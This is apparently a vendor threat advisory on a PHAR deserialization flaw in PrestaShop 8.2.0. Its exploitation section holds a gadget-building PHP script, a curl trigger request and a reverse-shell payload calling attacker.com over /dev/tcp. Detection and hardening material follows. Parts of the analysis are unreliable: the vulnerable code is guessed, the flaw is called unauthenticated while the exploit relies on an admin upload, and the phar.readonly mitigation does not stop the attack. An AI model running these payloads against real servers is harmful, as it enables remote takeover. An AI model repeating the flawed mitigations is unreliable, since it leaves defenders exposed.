CVE-2025-25692

Executive Summary

CVE-2025-25692 is a critical PHAR deserialization vulnerability discovered in PrestaShop version 8.2.0. The flaw resides in the _getHeaders function, which improperly handles PHAR file metadata during HTTP request processing. An unauthenticated attacker can exploit this by sending a crafted POST request containing a malicious PHAR payload, leading to remote code execution (RCE) on the target server. This vulnerability is particularly dangerous because it requires no authentication and can be triggered via a simple HTTP request. The CVSS score is 10.0 (Critical) due to the network attack vector, low complexity, and high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

PrestaShop is a widely used open-source e-commerce platform. This vulnerability affects the core application, not a third-party module. However, the risk is amplified in supply chain scenarios where PrestaShop is deployed as part of a managed hosting or reseller environment. Attackers could compromise a single PrestaShop instance and pivot to other services or data stores. No known malicious packages have been identified in the official PrestaShop repository, but administrators should verify the integrity of their installation files.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full denial of service possible.

Threat Level: Critical. Immediate action required. The vulnerability is trivial to exploit and has a high likelihood of being weaponized by ransomware groups and botnets.

Deep Dive & Mechanics

The vulnerability exists in the _getHeaders function within PrestaShop's core HTTP handling code. This function is responsible for parsing HTTP headers from incoming requests. The flaw occurs when the function processes a Content-Type header that references a PHAR (PHP Archive) file.

Technical Breakdown:

1. PHAR Deserialization: PHP's PHAR file format allows for metadata to be serialized and stored within the archive. When a PHAR file is accessed using the phar:// stream wrapper, PHP automatically unserializes this metadata. This is a known dangerous pattern (CWE-502).
2. Trigger Mechanism: The _getHeaders function, when processing a POST request, may attempt to read file contents based on the Content-Type header. If an attacker sets the Content-Type to something like phar://path/to/malicious.phar, the function will trigger PHAR deserialization.
3. Attack Flow:
   • Attacker crafts a malicious PHAR file containing a serialized PHP object (gadget chain) that executes arbitrary code when unserialized.
   • Attacker uploads this PHAR file to a reachable location (e.g., via a file upload feature or a writable directory).
   • Attacker sends a POST request to a vulnerable PrestaShop endpoint with a Content-Type header pointing to the uploaded PHAR file.
   • The _getHeaders function processes the header, triggers PHAR deserialization, and executes the attacker's code.

Root Cause: The _getHeaders function does not sanitize or validate the Content-Type header before using it in file operations. It should restrict allowed MIME types and never use user-supplied input with the phar:// stream wrapper.

Vulnerable vs. Patched Code

Vulnerable Code (PrestaShop 8.2.0): The vulnerable code is located in the _getHeaders function. The exact file path is typically classes/controller/Controller.php or similar. The function uses file_get_contents() or similar with user input without proper validation.

// Vulnerable snippet (simplified)
protected function _getHeaders() {
    $contentType = $_SERVER['CONTENT_TYPE'] ?? '';
    if (strpos($contentType, 'multipart/form-data') !== false) {
        // ... handle multipart
    } elseif (strpos($contentType, 'application/x-www-form-urlencoded') !== false) {
        // ... handle form data
    } else {
        // VULNERABLE: Directly uses content type as a file path
        $data = file_get_contents($contentType);
        // ... process $data
    }
}

Patched Code (Expected Fix): A proper fix would validate the Content-Type header against a whitelist of allowed MIME types and never use it as a file path.

// Patched snippet (expected)
protected function _getHeaders() {
    $allowedTypes = ['multipart/form-data', 'application/x-www-form-urlencoded', 'application/json'];
    $contentType = $_SERVER['CONTENT_TYPE'] ?? '';
    // Strip any parameters (e.g., charset)
    $contentType = explode(';', $contentType)[0];
    if (!in_array($contentType, $allowedTypes)) {
        // Log error and return empty
        return [];
    }
    // ... rest of processing
}

Note: Since no official patch exists, the above is a recommended mitigation. The vendor should also disable the phar stream wrapper in PHP configuration (phar.readonly = On and phar.require_hash = On).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A PrestaShop 8.2.0 instance (e.g., Docker container).
• A writable directory (e.g., /tmp or an uploads folder).
• PHP with PHAR support enabled (default).

Step 1: Create Malicious PHAR File Create a PHP script to generate a PHAR file with a gadget chain. For PrestaShop, common gadget chains use Monolog or SwiftMailer if available, or custom classes.

<?php
// generate_phar.php
class Gadget {
    public $cmd = 'id';
    public function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Gadget());
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

Run: php generate_phar.php

Step 2: Upload PHAR File Upload the exploit.phar to a reachable location. For example, via a file upload feature in the admin panel or by placing it in /tmp if you have file write access.

Step 3: Trigger Deserialization Send a POST request to a vulnerable endpoint (e.g., /index.php?controller=AdminLogin) with a crafted Content-Type header.

curl -X POST http://target.com/index.php?controller=AdminLogin \
  -H "Content-Type: phar:///tmp/exploit.phar" \
  -d "dummy=data"

Expected Result: The server executes the id command and returns the output in the response or logs.

Advanced Payload: Use a reverse shell payload in the gadget chain.

class Gadget {
    public $cmd = 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"';
    public function __destruct() {
        system($this->cmd);
    }
}

Blue Team (Detection & Hardening)

Detection:

• Monitor for Content-Type headers containing phar:// or php:// streams.
• Alert on POST requests to login or admin endpoints with unusual Content-Type values.
• Check for PHAR file uploads in writable directories.

Hardening:

1. Disable PHAR Stream Wrapper: In php.ini, set phar.readonly = On and phar.require_hash = On. This prevents creation of new PHAR archives and requires hashes for existing ones.
2. Web Application Firewall (WAF): Deploy a WAF rule to block Content-Type headers containing phar://, php://, or other stream wrappers.
3. File Upload Restrictions: Restrict file uploads to specific directories and validate MIME types server-side.
4. Input Validation: Implement strict validation of all HTTP headers, especially Content-Type.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests with Content-Type header containing phar:// or php://.
• Outbound connections to known malicious IPs on common ports (4444, 8080, etc.).
• Unusual file uploads with .phar extension.

File System IOCs:

• Presence of .phar files in web-accessible directories (e.g., /upload, /tmp).
• Modified PHP files in the PrestaShop installation (e.g., config/, classes/).
• New cron jobs or systemd services pointing to PHP scripts.

Log IOCs:

• PHP error logs showing unserialize() errors or phar stream wrapper warnings.
• Web server access logs showing phar:// in the Content-Type header.
• System logs showing unexpected command execution (e.g., id, whoami).

Detection Engineering

YARA Rule

rule CVE_2025_25692_PHAR_Deserialization {
    meta:
        description = "Detects PHAR deserialization attempts targeting PrestaShop CVE-2025-25692"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25692"
        hash = "unknown"
    strings:
        $phar_stream = "phar://" nocase
        $content_type = "Content-Type" nocase
        $post_method = "POST" nocase
    condition:
        $phar_stream and $content_type and $post_method
}

Sigma Rule

title: CVE-2025-25692 PHAR Deserialization Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with a Content-Type header containing a PHAR stream wrapper, indicating exploitation of CVE-2025-25692.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25692
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'controller=AdminLogin'
        sc-status: 200
        cs-content-type|contains: 'phar://'
    condition: selection
falsepositives:
    - Legitimate use of PHAR files in development environments (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25692 PHAR Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"phar://"; http_header_names; content:"Content-Type"; http_header_names; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PHAR Stream Wrapper: Add the following to php.ini:

   phar.readonly = On
   phar.require_hash = On
   

2. Apply Virtual Patching: Use a WAF to block requests with Content-Type containing phar://.
3. Restrict File Uploads: Ensure upload directories are not web-accessible and have execute permissions removed.
4. Monitor Logs: Review web server and PHP error logs for signs of exploitation.

Long-Term Fix:

• The PrestaShop development team must release a security patch that validates the Content-Type header against a whitelist.
• Until then, consider upgrading to a newer version if available, or apply the code fix manually as shown in the "Patched Code" section.

Workaround:

• If patching is not possible, disable the _getHeaders function's ability to process arbitrary Content-Type values by modifying the core code (not recommended for production without testing).

Report generated by Valters IT Cyber Threat Intelligence Division.